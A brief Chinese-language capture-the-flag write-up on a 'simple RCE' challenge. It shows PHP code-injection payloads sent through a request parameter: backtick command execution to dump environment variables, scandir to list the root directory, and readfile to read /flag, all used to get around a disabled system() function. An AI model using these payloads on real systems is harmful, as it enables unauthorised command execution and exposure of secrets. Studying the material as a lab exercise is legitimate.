简单rce

这道题system被禁用了所以这里使用``执行命令先查看环境变量?sys=echo(env);

POST:yyds=666

在环境变量中找到flag

提交发现是错的确认不是格式问题后尝试其它方法这里用print_r(scandir(‘/‘));读根目录发现flag文件再用readfile(%27/flag%27);得到flag